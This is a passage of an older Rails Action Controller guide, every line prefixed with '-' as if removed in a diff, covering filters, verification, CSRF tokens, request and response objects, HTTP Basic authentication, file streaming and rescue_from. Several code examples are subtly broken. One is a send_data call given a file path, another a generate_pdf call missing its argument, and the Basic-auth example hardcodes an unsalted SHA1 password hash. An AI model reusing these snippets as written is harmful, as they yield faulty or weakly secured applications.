-<div class="paragraph"><p>In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that&#8217;s about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter&#8217;s way of stopping it.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Example taken from the Rails API filter documentation:</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> Application
-
- around_filter <span style="color: #990000">:</span>catch_exceptions
-
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> catch_exceptions
- <span style="font-weight: bold"><span style="color: #0000FF">yield</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> <span style="color: #990000">=&gt;</span> exception
- logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Caught exception! #{exception}"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_other_ways_to_use_filters">6.2. Other Ways to Use Filters</h3>
-<div class="paragraph"><p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p></div>
-<div class="paragraph"><p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritten to use a block:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- before_filter <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> redirect_to new_login_url <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> controller<span style="color: #990000">.</span>send<span style="color: #990000">(:</span>logged_in?<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p></div>
-<div class="paragraph"><p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- before_filter LoginFilter
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginFilter
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>filter<span style="color: #990000">(</span>controller<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
- controller<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
- controller<span style="color: #990000">.</span>redirect_to controller<span style="color: #990000">.</span>new_login_url
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Again, this is not an ideal example for this filter, because it&#8217;s not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it&#8217;s a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p></div>
-<div class="paragraph"><p>The Rails API documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p></div>
-</div>
-<h2 id="_verification">7. Verification</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html">API documentation</a> as "essentially a special kind of before_filter".</p></div>
-<div class="paragraph"><p>Here&#8217;s an example of using verification to make sure the user supplies a username and a password in order to log in:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
- verify <span style="color: #990000">:</span>params <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
- <span style="color: #990000">:</span>render <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@user</span>
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You're logged in"</span>
- redirect_to root_url
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now the <tt>create</tt> action won&#8217;t run unless the "username" and "password" parameters are present, and if they&#8217;re not, an error message will be added to the flash and the <tt>new</tt> action will be rendered. But there&#8217;s something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
- verify <span style="color: #990000">:</span>params <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
- <span style="color: #990000">:</span>render <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900"># Only run this verification for the "create" action</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_request_forgery_protection">8. Request Forgery Protection</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user&#8217;s knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you&#8217;re following RESTful conventions you&#8217;re already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that&#8217;s where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.</p></div>
-<div class="paragraph"><p>If you generate a form like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% form_for @user do |f| -%&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :username %&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :password -%&gt;</span>
-<span style="color: #FF0000">&lt;% end -%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>You will see how the token gets added as a hidden field:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;form</span></span> <span style="color: #009900">action</span><span style="color: #990000">=</span><span style="color: #FF0000">"/users/1"</span> <span style="color: #009900">method</span><span style="color: #990000">=</span><span style="color: #FF0000">"post"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;div&gt;</span></span><span style="font-style: italic"><span style="color: #9A1900">&lt;!-- ... --&gt;</span></span><span style="font-weight: bold"><span style="color: #0000FF">&lt;input</span></span> <span style="color: #009900">type</span><span style="color: #990000">=</span><span style="color: #FF0000">"hidden"</span> <span style="color: #009900">value</span><span style="color: #990000">=</span><span style="color: #FF0000">"67250ab105eb5ad10851c00a5621854a23af5489"</span> <span style="color: #009900">name</span><span style="color: #990000">=</span><span style="color: #FF0000">"authenticity_token"</span><span style="font-weight: bold"><span style="color: #0000FF">/&gt;&lt;/div&gt;</span></span>
-<span style="font-style: italic"><span style="color: #9A1900">&lt;!-- Fields --&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/form&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails adds this token to every form that&#8217;s generated using the <a href="../form_helpers.html">form helpers</a>, so most of the time you don&#8217;t have to worry about it. If you&#8217;re writing a form manually or need to add the token for another reason, it&#8217;s available through the method <tt>form_authenticity_token</tt>:</p></div>
-<div class="listingblock">
-<div class="title">Add a JavaScript variable containing the token for use with Ajax</div>
-<div class="content">
-<pre><tt>&lt;%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The <a href="../security.html">Security Guide</a> has more about this and a lot of other security-related issues that you should be aware of when developing a web application.</p></div>
-</div>
-<h2 id="_the_tt_request_tt_and_tt_response_tt_objects">9. The <tt>request</tt> and <tt>response</tt> Objects</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of AbstractRequest and the <tt>response</tt> method returns a <tt>response</tt> object representing what is going to be sent back to the client.</p></div>
-<h3 id="_the_tt_request_tt_object">9.1. The <tt>request</tt> Object</h3>
-<div class="paragraph"><p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">API documentation</a>. Among the properties that you can access on this object are:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-host - The hostname used for this request.
-</p>
-</li>
-<li>
-<p>
-domain(n=2) - The hostname&#8217;s first <tt>n</tt> segments, starting from the right (the TLD)
-</p>
-</li>
-<li>
-<p>
-format - The content type requested by the client.
-</p>
-</li>
-<li>
-<p>
-method - The HTTP method used for the request.
-</p>
-</li>
-<li>
-<p>
-get?, post?, put?, delete?, head? - Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.
-</p>
-</li>
-<li>
-<p>
-headers - Returns a hash containing the headers associated with the request.
-</p>
-</li>
-<li>
-<p>
-port - The port number (integer) used for the request.
-</p>
-</li>
-<li>
-<p>
-protocol - Returns a string containing the prototol used plus "://", for example "http://"
-</p>
-</li>
-<li>
-<p>
-query_string - The query string part of the URL - everything after "?".
-</p>
-</li>
-<li>
-<p>
-remote_ip - The IP address of the client.
-</p>
-</li>
-<li>
-<p>
-url - The entire URL used for the request.
-</p>
-</li>
-</ul></div>
-<h4 id="_tt_path_parameters_tt_tt_query_parameters_tt_and_tt_request_parameters_tt">9.1.1. <tt>path_parameters</tt>, <tt>query_parameters</tt> and <tt>request_parameters</tt></h4>
-<div class="paragraph"><p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.</p></div>
-<h3 id="_the_tt_response_tt_object">9.2. The <tt>response</tt> Object</h3>
-<div class="paragraph"><p>The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-body - This is the string of data being sent back to the client. This is most often HTML.
-</p>
-</li>
-<li>
-<p>
-status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
-</p>
-</li>
-<li>
-<p>
-location - The URL the client is being redirected to, if any.
-</p>
-</li>
-<li>
-<p>
-content_type - The content type of the response.
-</p>
-</li>
-<li>
-<p>
-charset - The character set being used for the response. Default is "utf8".
-</p>
-</li>
-<li>
-<p>
-headers - Headers used for the response.
-</p>
-</li>
-</ul></div>
-<h4 id="_setting_custom_headers">9.2.1. Setting Custom Headers</h4>
-<div class="paragraph"><p>If you want to set custom headers for a response then <tt>response.headers</tt> is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to <tt>headers</tt> with the name and value:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>response<span style="color: #990000">.</span>headers<span style="color: #990000">[</span><span style="color: #FF0000">"Content-Type"</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"application/pdf"</span></tt></pre></div></div>
-</div>
-<h2 id="_http_basic_authentication">10. HTTP Basic Authentication</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser&#8217;s HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <tt>authenticate_or_request_with_http_basic</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AdminController <span style="color: #990000">&lt;</span> ApplicationController
-
- USERNAME<span style="color: #990000">,</span> PASSWORD <span style="color: #990000">=</span> <span style="color: #FF0000">"humbaba"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"</span>
-
- before_filter <span style="color: #990000">:</span>authenticate
-
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> authenticate
- authenticate_or_request_with_http_basic <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>username<span style="color: #990000">,</span> password<span style="color: #990000">|</span>
- username <span style="color: #990000">==</span> USERNAME <span style="color: #990000">&amp;&amp;</span> Digest<span style="color: #990000">::</span>SHA1<span style="color: #990000">.</span>hexdigest<span style="color: #990000">(</span>password<span style="color: #990000">)</span> <span style="color: #990000">==</span> PASSWORD
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.</p></div>
-</div>
-<h2 id="_streaming_and_file_downloads">11. Streaming and File Downloads</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the <tt>send_data</tt> and the <tt>send_file</tt> methods, that will both stream data to the client. <tt>send_file</tt> is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p></div>
-<div class="paragraph"><p>To stream data to the client, use <tt>send_data</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"prawn"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># Generate a PDF document with information on the client and return it.</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># The user will get the PDF as a file download.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
- client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- send_data<span style="color: #990000">(</span>generate_pdf<span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> generate_pdf<span style="color: #990000">(</span>client<span style="color: #990000">)</span>
- Prawn<span style="color: #990000">::</span>Document<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- text client<span style="color: #990000">.</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>align <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>center
- text <span style="color: #FF0000">"Address: #{client.address}"</span>
- text <span style="color: #FF0000">"Email: #{client.email}"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">.</span>render
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to "inline". The opposite and default value for this option is "attachment".</p></div>
-<h3 id="_sending_files">11.1. Sending Files</h3>
-<div class="paragraph"><p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># Stream a file that has already been generated and stored on disk</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
- client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- send_data<span style="color: #990000">(</span><span style="color: #FF0000">"#{RAILS_ROOT}/files/clients/#{client.id}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>:stream</tt> option or adjust the block size with the <tt>:buffer_size</tt> option.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Be careful when using (or just don&#8217;t use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the <tt>:x_sendfile</tt> option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the <tt>X-Sendfile</tt> header for this to work, and you still have to be careful not to use user input in a way that lets someone retrieve arbitrary files.</td>
-</tr></table>
-</div>
-<h3 id="_restful_downloads">11.2. RESTful Downloads</h3>
-<div class="paragraph"><p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here&#8217;s how you can rewrite the example so that the PDF download is a part of the <tt>show</tt> action, without any streaming:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># The user can request to receive this resource as HTML or PDF.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- format<span style="color: #990000">.</span>html
- format<span style="color: #990000">.</span>pdf<span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>pdf <span style="color: #990000">=&gt;</span> generate_pdf<span style="color: #990000">(</span><span style="color: #009900">@client</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>pdf</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>GET /clients/1.pdf</tt></pre>
-</div></div>
-</div>
-<h2 id="_parameter_filtering">12. Parameter Filtering</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails keeps a log file for each environment (development, test and production) in the <tt>log</tt> folder. These are extremely useful when debugging what&#8217;s actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <tt>filter_parameter_logging</tt> method can be used to filter out sensitive information from the log. It works by replacing certain values in the <tt>params</tt> hash with "[FILTERED]" as they are written to the log. As an example, let&#8217;s see how to filter all parameters with keys that include "password":</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- filter_parameter_logging <span style="color: #990000">:</span>password
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.</p></div>
-</div>
-<h2 id="_rescue">13. Rescue</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they&#8217;re displayed to the user. There are several levels of exception handling available in a Rails application:</p></div>
-<h3 id="_the_default_500_and_404_templates">13.1. The Default 500 and 404 Templates</h3>
-<div class="paragraph"><p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can&#8217;t use RHTML or layouts in them, just plain HTML.</p></div>
-<h3 id="_tt_rescue_from_tt">13.2. <tt>rescue_from</tt></h3>
-<div class="paragraph"><p>If you want to do something a bit more elaborate when catching errors, you can use <tt>rescue_from</tt>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a <tt>rescue_from</tt> directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit Proc object.</p></div>
-<div class="paragraph"><p>Here&#8217;s how you can use <tt>rescue_from</tt> to intercept all ActiveRecord::RecordNotFound errors and do something with them.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- rescue_from ActiveRecord<span style="color: #990000">::</span>RecordNotFound<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>record_not_found
-
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> record_not_found
